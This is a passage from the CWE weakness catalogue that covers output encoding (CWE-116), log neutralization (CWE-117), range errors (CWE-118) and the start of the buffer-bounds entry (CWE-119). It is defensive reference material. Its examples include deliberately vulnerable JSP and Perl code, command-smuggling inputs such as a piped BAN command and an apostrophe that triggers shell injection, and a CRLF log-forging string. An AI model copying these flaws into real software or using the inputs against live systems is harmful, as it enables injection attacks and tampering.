If an application uses attacker-supplied inputs to construct a structured message without properly encoding or escaping, then the attacker could insert special characters that will cause the data to be interpreted as control information or metadata. Consequently, the component that receives the output will perform the wrong operations, or otherwise interpret the data incorrectly.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	707	Improper Neutralization	1440
ParentOf	Ⓔ	117	Improper Output Neutralization for Logs	279
ParentOf	Ⓓ	644	Improper Neutralization of HTTP Headers for Scripting Syntax	1338
ParentOf	Ⓔ	838	Inappropriate Encoding for Output Context	1641
CanPrecede	Ⓒ	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	ⓑ	838	Inappropriate Encoding for Output Context	1641

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Often*)

**Technology** : Database Server (*Prevalence = Often*)

**Technology** : Web Server (*Prevalence = Often*)

### Alternate Terms

**Output Sanitization** :

**Output Validation** :

**Output Encoding** :

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data  <i>The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.</i>	
Integrity Confidentiality Availability Access Control	Execute Unauthorized Code or Commands  <i>The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.</i>	
Confidentiality	Bypass Protection Mechanism  <i>The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.</i>	

### Detection Methods

#### Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

*Effectiveness = Moderate*

*This is not a perfect solution, since 100% accuracy and coverage are not feasible.*

#### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*



Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.

**Phase: Architecture and Design**

*Strategy = Parameterization*

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.

**Phase: Architecture and Design****Phase: Implementation**

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

**Phase: Architecture and Design**

In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.

**Phase: Architecture and Design**

Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).

**Phase: Requirements**

Fully specify which encodings are required by components that will be communicating with each other.

**Phase: Implementation**

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

**Demonstrative Examples****Example 1:**

This code displays an email address that was submitted as part of a form.

*Example Language: JSP*

*(Bad)*

```
<% String email = request.getParameter("email"); %>
...
Email Address: <%= email %>
```

The value read from the form parameter is reflected back to the client browser without having been encoded prior to output, allowing various XSS attacks (CWE-79).

### Example 2:

Consider a chat application in which a front-end web application communicates with a back-end server. The back-end is legacy code that does not perform authentication or authorization, so the front-end must implement it. The chat protocol supports two commands, SAY and BAN, although only administrators can use the BAN command. Each argument must be separated by a single space. The raw inputs are URL-encoded. The messaging protocol allows multiple commands to be specified on the same line if they are separated by a "|" character.

First let's look at the back end command processor code

Example Language: Perl

(Bad)

```
$inputString = readLineFromFileHandle($serverFH);
# generate an array of strings separated by the "|" character.
@commands = split(/\|/, $inputString);
foreach $cmd (@commands) {
    # separate the operator from its arguments based on a single whitespace
    ($operator, $args) = split(/ /, $cmd, 2);
    $args = UriDecode($args);
    if ($operator eq "BAN") {
        ExecuteBan($args);
    }
    elsif ($operator eq "SAY") {
        ExecuteSay($args);
    }
}
```

The front end web application receives a command, encodes it for sending to the server, performs the authorization check, and sends the command to the server.

Example Language: Perl

(Bad)

```
$inputString = GetUntrustedArgument("command");
($cmd, $argstr) = split(/\s+/, $inputString, 2);
# removes extra whitespace and also changes CRLF's to spaces
$argstr =~ s/\s+/ /g;
$argstr = UriEncode($argstr);
if (($cmd eq "BAN") && (! IsAdministrator($username))) {
    die "Error: you are not the admin.\n";
}
# communicate with file server using a file handle
$fh = GetServerFileHandle("myserver");
print $fh "$cmd $argstr\n";
```

It is clear that, while the protocol and back-end allow multiple commands to be sent in a single request, the front end only intends to send a single command. However, the UriEncode function could leave the "|" character intact. If an attacker provides:

Example Language:

(Attack)

```
SAY hello world|BAN user12
```

then the front end will see this is a "SAY" command, and the \$argstr will look like "hello world | BAN user12". Since the command is "SAY", the check for the "BAN" command will fail, and the front end will send the URL-encoded command to the back end:

Example Language:

(Result)

```
SAY hello%20world|BAN%20user12
```

The back end, however, will treat these as two separate commands:

Example Language:

(Result)

```
SAY hello world
BAN user12
```

Notice, however, that if the front end properly encodes the "|" with "%7C", then the back end will only process a single command.

### Example 3:

This example takes user input, passes it through an encoding scheme and then creates a directory specified by the user.

Example Language: Perl

(Bad)

```
sub GetUntrustedInput {
    return($ARGV[0]);
}
sub encode {
    my($str) = @_;
    $str =~ s/\&/&gs;
    $str =~ s/"/&quot;/gs;
    $str =~ s/'/&apos;/gs;
    $str =~ s/</&lt;/gs;
    $str =~ s/>/&gt;/gs;
    return($str);
}
sub doit {
    my $uname = encode(GetUntrustedInput("username"));
    print "<b>Welcome, $uname!</b><p>\n";
    system("cd /home/$uname; /bin/lis -l");
}
}
```

The programmer attempts to encode dangerous characters, however the denylist for encoding is incomplete (CWE-184) and an attacker can still pass a semicolon, resulting in a chain with command injection (CWE-77).

Additionally, the encoding routine is used inappropriately with command execution. An attacker doesn't even need to insert their own semicolon. The attacker can instead leverage the encoding routine to provide the semicolon to separate the commands. If an attacker supplies a string of the form:

Example Language:

(Attack)

```
' pwd
```

then the program will encode the apostrophe and insert the semicolon, which functions as a command separator when passed to the system function. This allows the attacker to complete the command injection.

### Observed Examples

Reference	Description
<b>CVE-2021-41232</b>	Chain: authentication routine in Go-based agile development product does not escape user name (CWE-116), allowing LDAP injection (CWE-90) <a href="https://www.cve.org/CVERecord?id=CVE-2021-41232">https://www.cve.org/CVERecord?id=CVE-2021-41232</a>
<b>CVE-2008-4636</b>	OS command injection in backup software using shell metacharacters in a filename; correct behavior would require that this filename could not be changed. <a href="https://www.cve.org/CVERecord?id=CVE-2008-4636">https://www.cve.org/CVERecord?id=CVE-2008-4636</a>

Reference	Description
<b>CVE-2008-0769</b>	Web application does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0769">https://www.cve.org/CVERecord?id=CVE-2008-0769</a>
<b>CVE-2008-0005</b>	Program does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0005">https://www.cve.org/CVERecord?id=CVE-2008-0005</a>
<b>CVE-2008-5573</b>	SQL injection via password parameter; a strong password might contain "&" <a href="https://www.cve.org/CVERecord?id=CVE-2008-5573">https://www.cve.org/CVERecord?id=CVE-2008-5573</a>
<b>CVE-2008-3773</b>	Cross-site scripting in chat application via a message subject, which normally might contain "&" and other XSS-related characters. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3773">https://www.cve.org/CVERecord?id=CVE-2008-3773</a>
<b>CVE-2008-0757</b>	Cross-site scripting in chat application via a message, which normally might be allowed to contain arbitrary content. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0757">https://www.cve.org/CVERecord?id=CVE-2008-0757</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	2145
MemberOf	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	2155
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2174
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	2209
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	C	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	1133	2237
MemberOf	C	1179	SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)	1178	2258
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

### Notes

#### Relationship

This weakness is primary to all weaknesses related to injection (CWE-74) since the inherent nature of injection involves the violation of structured messages.

#### Relationship

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks. However, input validation is not always sufficient, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped

or otherwise neutralized. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

### Terminology

The usage of the "encoding" and "escaping" terms varies widely. For example, in some programming languages, the terms are used interchangeably, while other languages provide APIs that use both terms for different tasks. This overlapping usage extends to the Web, such as the "escape" JavaScript function whose purpose is stated to be encoding. The concepts of encoding and escaping predate the Web by decades. Given such a context, it is difficult for CWE to adopt a consistent vocabulary that will not be misinterpreted by some constituency.

### Theoretical

This is a data/directive boundary error in which data boundaries are not sufficiently enforced before it is sent to a different control sphere.

### Research Gap

While many published vulnerabilities are related to insufficient output encoding, there is such an emphasis on input validation as a protection mechanism that the underlying causes are rarely described. Within CVE, the focus is primarily on well-understood issues like cross-site scripting and SQL injection. It is likely that this weakness frequently occurs in custom protocols that support multiple encodings, which are not necessarily detectable with automated techniques.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	22		Improper Output Handling
The CERT Oracle Secure Coding Standard for Java (2011)	IDS00-J	Exact	Sanitize untrusted data passed across a trust boundary
The CERT Oracle Secure Coding Standard for Java (2011)	IDS05-J		Use a subset of ASCII for file and path names
SEI CERT Oracle Coding Standard for Java	IDS00-J	Imprecise	Prevent SQL injection
SEI CERT Perl Coding Standard	IDS33-PL	Exact	Sanitize untrusted data passed across a trust boundary

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
73	User-Controlled Filename
81	Web Server Logs Tampering
85	AJAX Footprinting
104	Cross Zone Scripting

### References

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

[REF-46]Joshbw. "Output Sanitization". 2008 September 8. < <http://www.analyticalengine.net/archives/58> >.

[REF-47]Niyaz PK. "Sanitizing user data: How and where to do it". 2008 September 1. < <http://www.diovo.com/2008/09/sanitizing-user-data-how-and-where-to-do-it/> >.

[REF-48]Jeremiah Grossman. "Input validation or output filtering, which is better?". 2007 January 0. < <http://jeremiahgrossman.blogspot.com/2007/01/input-validation-or-output-filtering.html> >.

[REF-49]Jim Manico. "Input Validation - Not That Important". 2008 August 0. < <http://manicode.blogspot.com/2008/08/input-validation-not-that-important.html> >.

[REF-50]Michael Eddington. "Preventing XSS with Correct Output Encoding". < <http://phed.org/2008/05/19/preventing-xss-with-correct-output-encoding/> >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

## CWE-117: Improper Output Neutralization for Logs

**Weakness ID** : 117

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not neutralize or incorrectly neutralizes output that is written to logs.

### Extended Description

This can allow an attacker to forge log entries or inject malicious content into logs.



Log forging vulnerabilities occur when:

1. Data enters an application from an untrusted source.
2. The data is written to an application or system log file.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.



*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		116	Improper Encoding or Escaping of Output	272
CanFollow		93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	211

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1009	Audit	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1210	Audit / Logging Errors	2268
MemberOf		137	Data Neutralization Issues	2102

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Background Details



Applications typically use log files to store a history of events or transactions for later review, statistics gathering, or debugging. Depending on the nature of the application, the task of reviewing log files may be performed manually on an as-needed basis or automated with a tool that automatically culls logs for important events or trending information.

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Hide Activities	
Availability	Execute Unauthorized Code or Commands	
Non-Repudiation	<p><i>Interpretation of the log files may be hindered or misdirected if an attacker can supply data to the application that is subsequently logged verbatim. In the most benign case, an attacker may be able to insert false entries into the log file by providing the application with input that includes appropriate characters. Forged or otherwise corrupted log files can be used to cover an attacker's tracks, possibly by skewing statistics, or even to implicate another party in the commission of a malicious act. If the log file is processed automatically, the attacker can render the file unusable by corrupting the format of the file or injecting unexpected characters. An attacker may inject code or other commands into the log file and take advantage of a vulnerability in the log processing utility.</i></p>	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks;

they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Demonstrative Examples

#### Example 1:

The following web application code attempts to read an integer value from a request object. If the `parseInt` call fails, then the input is logged with an error message indicating what happened.

*Example Language: Java*

*(Bad)*

```
String val = request.getParameter("val");
try {
    int value = Integer.parseInt(val);
}
catch (NumberFormatException) {
    log.info("Failed to parse val = " + val);
}
...

```

If a user submits the string "twenty-one" for val, the following entry is logged:

- INFO: Failed to parse val=twenty-one

However, if an attacker submits the string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged:

- INFO: Failed to parse val=twenty-one
- INFO: User logged out=badguy

Clearly, attackers can use this same mechanism to insert arbitrary log entries.

### Observed Examples

Reference	Description
<b>CVE-2006-4624</b>	Chain: inject fake log entries with fake timestamps using CRLF injection <a href="https://www.cve.org/CVERecord?id=CVE-2006-4624">https://www.cve.org/CVERecord?id=CVE-2006-4624</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	2130
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	<b>C</b>	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	1133	2237
MemberOf	<b>C</b>	1355	OWASP Top Ten 2021 Category A09:2021 - Security Logging and Monitoring Failures	1344	2289

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Log Forging
Software Fault Patterns	SFP23		Exposed Data
The CERT Oracle Secure Coding Standard for Java (2011)	IDS03-J	Exact	Do not log unsanitized user input
SEI CERT Oracle Coding Standard for Java	IDS03-J	Exact	Do not log unsanitized user input

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
81	Web Server Logs Tampering
93	Log Injection-Tampering-Forging
268	Audit Log Manipulation

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-52]Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". 2004 February 7. Addison-Wesley. < <http://www.exploitingsoftware.com/> >.

[REF-53]Alec Muffet. "The night the log was forged". < [http://doc.novsu.ac.ru/oreilly/tcpip/puis/ch10\\_05.htm](http://doc.novsu.ac.ru/oreilly/tcpip/puis/ch10_05.htm) >.

[REF-43]OWASP. "OWASP TOP 10". < [http://www.owasp.org/index.php/Top\\_10\\_2007](http://www.owasp.org/index.php/Top_10_2007) >.

## CWE-118: Incorrect Access of Indexable Resource ('Range Error')

**Weakness ID** : 118

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not restrict or incorrectly restricts operations within the boundaries of a resource that is accessed using an index or pointer, such as memory or files.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
ParentOf	⊕	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		970	SFP Secondary Cluster: Faulty Buffer Access	888	2198

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP8		Faulty Buffer Access

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
14	Client-side Injection-induced Buffer Overflow
24	Filter Failure through Buffer Overflow
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion

## CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

**Weakness ID** : 119

**Structure** : Simple

**Abstraction** : Class

### Description

The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.

### Extended Description

Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data.

As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		118	Incorrect Access of Indexable Resource ('Range Error')	282
ParentOf		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	294
ParentOf		125	Out-of-bounds Read	316
ParentOf		466	Return of Pointer Value Outside of Expected Range	1049
ParentOf		680	Integer Overflow to Buffer Overflow	1398
ParentOf		786	Access of Memory Location Before Start of Buffer	1544
ParentOf		787	Out-of-bounds Write	1547
ParentOf		788	Access of Memory Location After End of Buffer	1555
ParentOf		805	Buffer Access with Incorrect Length Value	1585
ParentOf		822	Untrusted Pointer Dereference	1604
ParentOf		823	Use of Out-of-range Pointer Offset	1606
ParentOf		824	Access of Uninitialized Pointer	1609
ParentOf		825	Expired Pointer Dereference	1612
CanFollow		20	Improper Input Validation	19
CanFollow		128	Wrap-around Error	324
CanFollow		129	Improper Validation of Array Index	327
CanFollow		131	Incorrect Calculation of Buffer Size	340
CanFollow		190	Integer Overflow or Wraparound	453
CanFollow		193	Off-by-one Error	466
CanFollow		195	Signed to Unsigned Conversion Error	474
CanFollow		839	Numeric Range Comparison Without Minimum Check	1644
CanFollow		843	Access of Resource Using Incompatible Type ('Type Confusion')	1654
CanFollow		1257	Improper Access Control Applied to Mirrored or Aliased Memory Regions	1909
CanFollow		1260	Improper Handling of Overlap Between Protected Memory Ranges	1915
CanFollow		1339	Insufficient Precision or Accuracy of a Real Number	2064

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	294
ParentOf		125	Out-of-bounds Read	316
ParentOf		787	Out-of-bounds Write	1547
ParentOf		824	Access of Uninitialized Pointer	1609

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ParentOf		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	294
ParentOf		123	Write-what-where Condition	310
ParentOf		125	Out-of-bounds Read	316
ParentOf		130	Improper Handling of Length Parameter Inconsistency	336
ParentOf		786	Access of Memory Location Before Start of Buffer	1544
ParentOf		787	Out-of-bounds Write	1547
ParentOf		788	Access of Memory Location After End of Buffer	1555
ParentOf		805	Buffer Access with Incorrect Length Value	1585
ParentOf		822	Untrusted Pointer Dereference	1604

Nature	Type	ID	Name	Page
ParentOf	B	823	Use of Out-of-range Pointer Offset	1606
ParentOf	B	824	Access of Uninitialized Pointer	1609
ParentOf	B	825	Expired Pointer Dereference	1612

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ParentOf	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	294
ParentOf	B	123	Write-what-where Condition	310
ParentOf	B	125	Out-of-bounds Read	316
ParentOf	B	130	Improper Handling of Length Parameter Inconsistency	336
ParentOf	B	786	Access of Memory Location Before Start of Buffer	1544
ParentOf	B	787	Out-of-bounds Write	1547
ParentOf	B	788	Access of Memory Location After End of Buffer	1555
ParentOf	B	805	Buffer Access with Incorrect Length Value	1585
ParentOf	B	822	Untrusted Pointer Dereference	1604
ParentOf	B	823	Use of Out-of-range Pointer Offset	1606
ParentOf	B	824	Access of Uninitialized Pointer	1609
ParentOf	B	825	Expired Pointer Dereference	1612

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

### Applicable Platforms

**Language** : C (Prevalence = Often)

**Language** : C++ (Prevalence = Often)

**Language** : Assembly (Prevalence = Undetermined)

### Alternate Terms

**Buffer Overflow** : This term has many different meanings to different audiences. From a CWE mapping perspective, this term should be avoided where possible. Some researchers, developers, and tools intend for it to mean "write past the end of a buffer," whereas others use the same term to mean "any read or write outside the boundaries of a buffer, whether before the beginning of the buffer or after the end of the buffer." Still others using the same term could mean "any action after the end of a buffer, whether it is a read or write." Since the term is commonly used for exploitation and for vulnerabilities, it further confuses things.

**buffer overrun** : Some prominent vendors and researchers use the term "buffer overrun," but most people use "buffer overflow." See the alternate term for "buffer overflow" for context.

**memory safety** : Generally used for techniques that avoid weaknesses related to memory access, such as those identified by CWE-119 and its descendants. However, the term is not formal, and there is likely disagreement between practitioners as to which weaknesses are implicitly covered by the "memory safety" term.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	Modify Memory	



Scope	Impact	Likelihood
Availability	<i>If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.</i>	
Availability Confidentiality	Read Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)  <i>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i>	
Confidentiality	Read Memory  <i>In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.</i>	

### Detection Methods

#### Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

*Effectiveness = High*

*Detection techniques for buffer-related errors are more mature than for most other weakness types.*

#### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

#### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode Quality Analysis Bytecode Weakness Analysis - including

disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Source Code Quality Analyzer

*Effectiveness = High*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

